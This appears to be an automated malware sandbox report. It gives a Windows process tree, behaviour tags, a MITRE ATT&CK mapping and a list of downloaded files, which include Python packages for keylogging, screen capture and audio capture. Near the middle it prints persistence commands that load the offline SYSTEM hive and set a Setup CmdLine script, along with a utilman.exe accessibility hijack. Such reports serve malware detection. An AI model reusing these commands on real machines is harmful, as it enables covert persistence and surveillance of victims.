C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --metrics-shmem-handle=11696,i,13378981269418544360,10124172880080479671,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=11700 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --metrics-shmem-handle=11660,i,8027118423214508758,16119234205192586939,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=11940 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --metrics-shmem-handle=11992,i,12154927300552341604,17568926447481671330,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=12004 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --metrics-shmem-handle=12144,i,16329130279372387164,16930380891316723668,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=12108 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --metrics-shmem-handle=12272,i,17752324215848597425,16449641601984971131,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=12284 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --metrics-shmem-handle=11328,i,17421554751854987152,3038678036705576268,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=10192 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=11808,i,13529843987665239101,9214251140405461034,524288 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=10332 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --metrics-shmem-handle=7288,i,11492680788926607577,13978434458286374609,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=11476 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --metrics-shmem-handle=6840,i,2346807304328186330,5599516669087392639,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --metrics-shmem-handle=7984,i,1773784238306516978,9557572963274928560,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --metrics-shmem-handle=1208,i,15236751685556811731,17817393199388449230,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --metrics-shmem-handle=9576,i,10988671658963678719,15488776935305644039,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=95 --metrics-shmem-handle=9276,i,7849224275386363839,15631418471926112660,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=10904 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --metrics-shmem-handle=8520,i,1408891971195557859,914902731980692525,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=10228 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --metrics-shmem-handle=6568,i,17568304971955894132,11235427230177308661,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --metrics-shmem-handle=6852,i,15454037357963818107,4373650942453689583,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=99 --metrics-shmem-handle=11948,i,228174408534706555,7297232408630578146,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=4600 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=100 --metrics-shmem-handle=10972,i,18152455516357611634,9597989387802844715,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=10944 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=101 --metrics-shmem-handle=7208,i,10840222684919900350,8844456358125604449,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=9008 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=102 --metrics-shmem-handle=8356,i,13414679005354850200,17745833216640784829,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=8488 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=103 --metrics-shmem-handle=9108,i,16454341761575908145,9485273351242073620,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=7864 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=104 --metrics-shmem-handle=8964,i,9196420290918837931,17135901792422607642,2097152 --field-trial-handle=1876,i,11734509834089071497,17959691523958407780,262144 --variations-seed-version --mojo-platform-channel-handle=8456 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
- Modifies data under HKEY_USERS
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\NOTEPAD.EXE"C:\Windows\System32\NOTEPAD.EXE" C:\Recovery\OEM\WindowsEssentials\SetupComplete.cmd1⤵
- Opens file in notepad (likely ransom note)
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97} -Embedding1⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca1⤵
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DevicesFlow -s DevicesFlowUserSvc1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004BC 0x00000000000004C41⤵
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes dropped EXE
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\ScreenClippingHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\ScreenClippingHost.exe" -ServerName:ScreenClipping.AppXvj4keqywbrw1mydqk4hd4832qv899sb2.mca1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CaptureService1⤵
-
C:\Windows\system32\utilman.exeutilman.exe /debug1⤵
-
C:\Windows\System32\VoiceAccess.exe"C:\Windows\System32\VoiceAccess.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes dropped EXE
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Recovery\OEM\WindowsEssentials\config.json2⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\NOTEPAD.EXE"C:\Windows\System32\NOTEPAD.EXE" C:\Recovery\OEM\RestoreApp.cmd1⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Recovery\OEM\RestoreApp.cmd" "1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Echo %TARGETOS%2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\reg.exereg load HKLM\OFFLINE_SYSTEM "\System32\config\SYSTEM"2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\OFFLINE_SYSTEM\Setup" /v "CmdLine" /t REG_SZ /d "C:\Windows\Setup\Scripts\SetupComplete.cmd" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\OFFLINE_SYSTEM\Setup" /v "SetupType" /t REG_DWORD /d 2 /f2⤵
-
-
C:\Windows\system32\reg.exereg unload HKLM\OFFLINE_SYSTEM2⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Echo %TARGETOS%2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\reg.exereg load HKLM\OFFLINE_SYSTEM "\System32\config\SYSTEM"2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\OFFLINE_SYSTEM\Setup" /v "CmdLine" /t REG_SZ /d "C:\Windows\Setup\Scripts\SetupComplete.cmd" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\OFFLINE_SYSTEM\Setup" /v "SetupType" /t REG_DWORD /d 2 /f2⤵
-
-
C:\Windows\system32\reg.exereg unload HKLM\OFFLINE_SYSTEM2⤵
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
-
C:\Users\Admin\Downloads\ProcessExplorer\procexp.exe"C:\Users\Admin\Downloads\ProcessExplorer\procexp.exe"1⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\procexp64.exe"C:\Users\Admin\Downloads\ProcessExplorer\procexp.exe"2⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Checks processor information in registry
- Modifies Control Panel
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: LoadsDriver
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
-
C:\Windows\system32\utilman.exeutilman.exe /debug1⤵
-
C:\Windows\System32\VoiceAccess.exe"C:\Windows\System32\VoiceAccess.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Accessibility Features
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Accessibility Features
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Query Registry
5System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
BookmarkMergedSurfaceOrdering
f_000004
f_000010
f_000026
f_000028
f_000029
f_00002a
f_000044
f_000045
f_000046
f_00005f
f_000062
f_000064
f_000066
f_00006f
temp-index
temp-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
messages.json
craw_background.js
CURRENT
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
data_1
data_0
data_2
data_3
MANIFEST-000001
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
.cache
RECORDiexfg_na.tmp
RECORDkerxkfvb.tmp
test_certify.py
__init__.py
WHEEL
RECORDu3jwax96.tmp
LICENSE
LICENSE.txt
__init__.py
__init__.py
LICENSE
__init__.py
_collections.py
_request_methods.py
connection.py
connectionpool.py
connection.py
fetch.py
request.py
socks.py
exceptions.py
filepost.py
__init__.py
connection.py
probe.py
poolmanager.py
__init__.py
connection.py
proxy.py
response.py
retry.py
ssltransport.py
url.py
util.py
wait.py
License.txt
demoutils.py
RECORD51fkky49.tmp
RECORDlusmd_o3.tmp
License.txt
wmitest.py
wmiweb.py
_webp.pyi
__init__.cpython-312.pyc
__main__.cpython-312.pyc
__init__.cpython-312.pyc
__init__.cpython-312.pyc
autocompletion.cpython-312.pyc
main.cpython-312.pyc
main_parser.cpython-312.pyc
__init__.cpython-312.pyc
_log.cpython-312.pyc
__init__.cpython-312.pyc
__init__.cpython-312.pyc
_extension.cpython-312.pyc
markup.cpython-312.pyc
LICENSE
INSTALLER747w910_.tmp
pywin32_postinstall.py
pywin32_testall.py
__init__.py
__init__.py
pip.exe
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
get-pip.py
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python.exe
python.zip.downloading
python3.dll
python312._pth
python312.dll
python312.zip
select.pyd
unicodedata.pyd
Tmp6D43.tmp
__PSScriptPolicyTest_4e4iktmp.dgn.ps1
WMI-1.5.1-py2.py3-none-any.whl
certifi-2026.7.22-py3-none-any.whl
charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl
idna-3.18-py3-none-any.whl
pillow-12.3.0-cp312-cp312-win_amd64.whl
psutil-7.2.2-cp37-abi3-win_amd64.whl
pycryptodome-3.23.0-cp37-abi3-win_amd64.whl
pywin32-312-cp312-cp312-win_amd64.whl
urllib3-2.7.0-py3-none-any.whl
vdf-3.4-py2.py3-none-any.whl
pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata
dxcam-0.3.0-cp312-cp312-win_amd64.whl.metadata
pycparser-3.0-py3-none-any.whl.metadata
pygrabber-0.2-py3-none-any.whl.metadata
python_socketio-5.16.3-py3-none-any.whl.metadata
psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata
pillow-12.3.0-cp312-cp312-win_amd64.whl.metadata
base58-2.1.1-py3-none-any.whl.metadata
av-18.0.0-cp311-abi3-win_amd64.whl
base58-2.1.1-py3-none-any.whl
bidict-0.23.1-py3-none-any.whl
cffi-2.1.0-cp312-cp312-win_amd64.whl
comtypes-1.4.16-py3-none-any.whl
cryptography-49.0.0-cp311-abi3-win_amd64.whl
dxcam-0.3.0-cp312-cp312-win_amd64.whl
h11-0.16.0-py3-none-any.whl
mss-10.2.0-py3-none-any.whl
numpy-2.5.1-cp312-cp312-win_amd64.whl
pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl
pycparser-3.0-py3-none-any.whl
pygrabber-0.2-py3-none-any.whl
pynput-1.8.2-py2.py3-none-any.whl
pyperclip-1.11.0-py3-none-any.whl
python_engineio-4.13.3-py3-none-any.whl
python_socketio-5.16.3-py3-none-any.whl
simple_websocket-1.1.0-py3-none-any.whl
six-1.17.0-py2.py3-none-any.whl
websocket_client-1.9.0-py3-none-any.whl
wsproto-1.3.2-py3-none-any.whl
pyperclip-1.11.0-py3-none-any.whl.metadata
pywin32-312-cp312-cp312-win_amd64.whl.metadata
bidict-0.23.1-py3-none-any.whl.metadata
comtypes-1.4.16-py3-none-any.whl.metadata
vdf-3.4-py2.py3-none-any.whl.metadata
python_engineio-4.13.3-py3-none-any.whl.metadata
six-1.17.0-py2.py3-none-any.whl.metadata
pynput-1.8.2-py2.py3-none-any.whl.metadata
numpy-2.5.1-cp312-cp312-win_amd64.whl.metadata
WMI-1.5.1-py2.py3-none-any.whl.metadata
pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl.metadata
charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl.metadata
certifi-2026.7.22-py3-none-any.whl.metadata
websocket_client-1.9.0-py3-none-any.whl.metadata
idna-3.18-py3-none-any.whl.metadata
simple_websocket-1.1.0-py3-none-any.whl.metadata
requests-2.34.2-py3-none-any.whl.metadata
h11-0.16.0-py3-none-any.whl.metadata
wsproto-1.3.2-py3-none-any.whl.metadata
mss-10.2.0-py3-none-any.whl.metadata
av-18.0.0-cp311-abi3-win_amd64.whl.metadata
pip-26.1.2-py3-none-any.whl.metadata
cffi-2.1.0-cp312-cp312-win_amd64.whl.metadata
cryptography-49.0.0-cp311-abi3-win_amd64.whl.metadata
qerx4xlc
messages.json
svchost_d.log
svchost_d.log
svchost_d.log
svchost_d.log
svchost_d.log
svchost_d.log
svchost_d.log
tmp18sbnfzy
cacert.pem
pip.zip
tmpfvhbgpp7
default.exc
CustomCommands.json
ProcessExplorer.zip.crdownload
memory/1056-17455-0x000001CFB02A0000-0x000001CFB02AA000-memory.dmp
memory/1056-17453-0x000001CFB0280000-0x000001CFB029E000-memory.dmp
memory/1056-17454-0x000001CFB02C0000-0x000001CFB0372000-memory.dmp
memory/1056-17448-0x000001CF97C80000-0x000001CF97CA2000-memory.dmp
memory/1096-17484-0x00007FFBDAD80000-0x00007FFBDAFCB000-memory.dmp
memory/1096-17482-0x00007FFBDE1D0000-0x00007FFBDE246000-memory.dmp
memory/1096-17483-0x00007FFBE1A30000-0x00007FFBE1A5B000-memory.dmp
memory/1256-17548-0x00007FF74BC20000-0x00007FF74C2E7000-memory.dmp
memory/1876-17497-0x0000014EDADF0000-0x0000014EDAEA2000-memory.dmp
memory/3004-19787-0x00007FF74BC20000-0x00007FF74C2E7000-memory.dmp
memory/3004-20203-0x00007FF74BC20000-0x00007FF74C2E7000-memory.dmp
memory/3004-18622-0x00007FF74BC20000-0x00007FF74C2E7000-memory.dmp
memory/3004-17612-0x00007FF74BC20000-0x00007FF74C2E7000-memory.dmp
memory/3004-19000-0x00007FF74BC20000-0x00007FF74C2E7000-memory.dmp
memory/3004-19397-0x00007FF74BC20000-0x00007FF74C2E7000-memory.dmp
memory/3004-20540-0x00007FF74BC20000-0x00007FF74C2E7000-memory.dmp
memory/4500-18694-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-19050-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20204-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20267-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20322-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20381-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20436-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20487-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20093-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20545-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20620-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20679-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
memory/4500-20736-0x00007FF6BAAA0000-0x00007FF6BB250000-memory.dmp
